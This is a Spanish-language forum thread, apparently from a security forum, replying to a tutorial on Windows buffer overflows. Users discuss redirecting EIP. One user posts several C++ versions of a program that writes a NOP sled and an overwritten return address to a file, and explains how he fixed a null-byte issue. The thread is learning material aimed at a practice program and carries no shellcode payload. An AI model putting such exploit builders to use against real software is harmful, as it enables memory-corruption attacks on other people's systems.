Yo tengo una duda y es la siguiente cuando sobre escribo el retorno por lo que yo quiero que se ejecute, biens ea una funcion del mismo programa o una shellcode pues me redirecciona bien y me muestra lo que quiero el problema es que despues de ejecutarlo se queda mostrando la pantalla de enviar errores y en el manual de ikary pues al final dice que sera para el siguiente manual la solucion de este problema, ya esta por hay? o alguna idea como solucionarlo?

salud2


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: Acermax en 28 Abril 2011, 00:27 am
Estoy teniendo problemas a la hora de decidir la dirección de memoria sobreescrita, a ver si me podeis echar una mano.

Mi idea es que el EIP apunte a la dirección 00 40 16 3C, asi que hago esto en mi programa.

char ret[] = "\x3c\x16\x40\x00";

también le pongo los respectivos NOPS delante. Parece que el tema va bien, pero a la hora de ejecutar el programa a hacerle el overflow, me sigue saltando el error, y me dice que el EIP en el momento del error es  FF 40 16 3C, es decir, los 00 me los convierte en FF y obviamente me da un error de acceso a memoria. Sabeis por que puede ser esto?

Pongo el codigo completo del exploit...

Código:
#include <cstdlib>
#include <iostream>
#include <fstream>
using namespace std;

int main(){
    char ret[] = "\x3c\x16\x40\x00";
    char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90";
    cout << "Creando el exploit...\n\n";
    ofstream f("archivo.txt");
    f << nops << ret;
    f.close();
    cout << "Finalizado...\n";
    getchar();
    return 0;
}

Y aquí el error, en el que se ve claramente lo que explico más arriba.

(http://i55.tinypic.com/10533ht.jpg)


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: mordiskos en 29 Abril 2011, 01:21 am
Muchisimas gracias por este excelente manual. Se agradece ver material de esta calidad!!


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: Acermax en 30 Abril 2011, 00:35 am
Bueno, tras estar depurándolo con el Ollydbg un buen rato, dí con la solución, aunque no sé si será lo mas agradable a la vista... Cambié el modo de escribir la dirección en el archivo creando una nueva variable de tipo 'char' en la que guardo la dirección 0x00, y posteriormente escribiéndola en el fichero.
Así quedaría el código del programa del exploit, por si alguien se encuentra con el mismo problema y le puede resultar útil.
Código:
#include <cstdlib>
#include <iostream>
#include <fstream>
using namespace std;

int main(){
    unsigned char nose = 0x00;
    char ret[] = "\x34\x16\x40";
    char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                  "\x90\x90\x90\x90\x90\x90";
    cout << "Creando el exploit...\n\n";
    ofstream f("archivo.txt");
    f << nops << ret << nose;
    f.close();
    cout << "Finalizado...\n";
    return 0;
}

Un saludo.

Edito: Bueno, como no me gustaba mucho a la vista como había quedado, hice el código un poco más limpio a la vista utilizando un vector STL, y también funcional, espero que le sirva a alguien que esté siguiendo este tutorial o se esté inicuando en C++

Código:
#include <cstdlib>
#include <iostream>
#include <fstream>
#include <vector>

#define NOPS_MAX 316
using namespace std;

int main(){
    vector <unsigned char> nops(NOPS_MAX,0x90); //Creamos el vector de nops con
    // el numero de instrucciones NOP necesarias para el exploit, y la rellenamos
    // de NOP
   
    vector <unsigned char> ret(4);
    ret[0]=0x34; ret[1]=0x16; ret[2]=0x40; ret[3]=0x00;
    //Creamos el otro vector con el la direccion de memoria necesaria
       

    cout << "Creando el exploit...\n\n";
    ofstream f("archivo.txt");
   
    for (int i=0;i<nops.size();i++)
        f << nops[i];
       
    for (int i=0;i<ret.size();i++)
        f << ret[i];
    //f << nops << ret;
    f.close();
    cout << "Finalizado...\n";
    return 0;
}



Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: mordiskos en 3 Mayo 2011, 14:51 pm
:huh: :huh:

Esta subido a varios servidores en el post principal
http://foro.elhacker.net/bugs_y_exploits/manual_buffer_overflow_en_windows-t283879.0.html;msg1401254#msg1401254 (http://foro.elhacker.net/bugs_y_exploits/manual_buffer_overflow_en_windows-t283879.0.html;msg1401254#msg1401254)

Por cierto, aprobecho ya para contaros que ya esta en marcha el manual de BoF en Remoto.
Intentaré hacerlo conjuntamente con HoF ya que local y remoto son bastante parecidos  :silbar:

Un saludo

Como ya te dije, lo espero con ansias corrosivas...
DATE PRISA!!!!
XD

Saludos y gracias por tus aportes

JAJAJA, con ansias corrosivas!

Yo tambien lo espero pronto.

GRACIAS otra vez por tu trabajo!